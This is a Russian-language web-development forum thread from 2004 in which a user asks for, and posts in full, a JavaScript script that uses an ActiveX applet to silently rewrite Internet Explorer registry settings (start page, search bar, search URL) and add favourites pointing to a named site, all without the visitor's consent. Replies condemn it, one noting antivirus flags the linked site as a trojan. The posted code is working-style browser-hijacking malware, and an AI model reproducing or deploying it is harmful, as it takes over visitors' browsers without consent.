Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

ЯВА: Автодобавление в избранное!

4.3K
07 марта 2004 года
haunt41
8 / / 25.09.2003
Господа, здравствуйте!

Не могли бы вы мне помочь? Мне нужен скрипт на Яве автодобавления в избранное, установки старовой и ярлыка на раб. стол. Перелопатил кучу скриптов - везде выскакивает мессага "хотите добавить/установить..."

Подскажите код, чтобы это можно было сделать без согласия посетителя. Пример такого скрипта на сайте 674.ua ЭТО НЕ САМОРЕКЛАМА!)

Короче решил написать скрипт сам. Вот что получилось:

------------------------------
document.writeln('<APPLET code=com.ms.activeX.ActiveXComponent width=0 height=0 id=AX1></APPLET>');
var FSO, Shl, Net;

function SetFav(Location,Target){
var WF, Shor, loc;
WF=FSO.GetSpecialFolder(0);
loc=WF+"\\Избранное";
if(!FSO.FolderExists(loc)){
loc=FSO.GetDriveName(WF) +
"\\Documents and Settings\\"+
Net.UserName+
"\\Избранное";
if(!FSO.FolderExists(loc)){
return;
}
}
Shor = Shl.CreateShortcut(loc+"\\"+Location+".URL");
Shor.TargetPath = Target;
Shor.Save();
}

function axinit(){
var a1=document.applets("AX1");
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
Shl.RegWrite('HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar',
'http://workstudio.da.ru');
Shl.RegWrite('HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Search_URL',
'http://workstudio.da.ru');
Shl.RegWrite('HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page',
'http://workstudio.da.ru');
Shl.RegWrite('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Search\\SearchAssistant',
'http://workstudio.da.ru');
var slang = navigator.systemLanguage;
if (slang.indexOf('en') < 0){
Shl.RegWrite('HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page',
'http://workstudio.da.ru');
}
SetFav("Веб-дизайн","http://workstudio.da.ru");
SetFav("Веб-дизайн","http://workstudio.da.ru");


}
function chkcookie(){
var o=new Date();
var a=o.getDate();
a+=90;
o.setDate(a);
if (document.cookie.indexOf("v=1") == -1){
document.cookie="v=1;expires="+o.toUTCString();
axinit();
}
}

setTimeout("axinit();",500);

id=""
--------------------------------

Подскажите пожалуйста, где я ошибся и почему ничего не работает.

Заранее благодарен за ответ.
С уважением, Сергей.
291
07 марта 2004 года
gufy
703 / / 08.01.2003
это сволочизм и будь готов что после этого к тебе не вернутся. а по твоей ссылке drweb мне сказал что это троян. или ты паришься фигней или сознательно пихаешь троян в компы мирных форумчан
4.3K
07 марта 2004 года
haunt41
8 / / 25.09.2003
Цитата:
Originally posted by gufy
это сволочизм и будь готов что после этого к тебе не вернутся. а по твоей ссылке drweb мне сказал что это троян. или ты паришься фигней или сознательно пихаешь троян в компы мирных форумчан



Ам сорри, хотел выпендрится... Сказал, что сам написал скрипт, хотя я в яве ничего не смыслю и этот скрипт нарыл в бескрайних просторах сети...Просто он не работал.

Насчет полезности таких скриптов готов поспорить.
Так как же насчет кода?

250
08 марта 2004 года
Joker
1.4K / / 20.02.2000
Цитата:
Originally posted by haunt41


Ам сорри, хотел выпендрится... Сказал, что сам написал скрипт, хотя я в яве ничего не смыслю и этот скрипт нарыл в бескрайних просторах сети...Просто он не работал.

Насчет полезности таких скриптов готов поспорить.
Так как же насчет кода?


Поспорить в гостевой книге можешь на счет этого, не думаю, что ты отспоришь . .
Что касается почему касперский завопил, или др веб, потому что они тоже щитают это не нормальным что страница сама себя добавить хочет в избранное..
Предполагаю, что это впринципи не нормально по этому это основано думую на багах. Потому что у мени никто никуда не добавился..
Думаю тему можно щитать закрытой, пользуйся теми что спрашивают у пользователя.

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог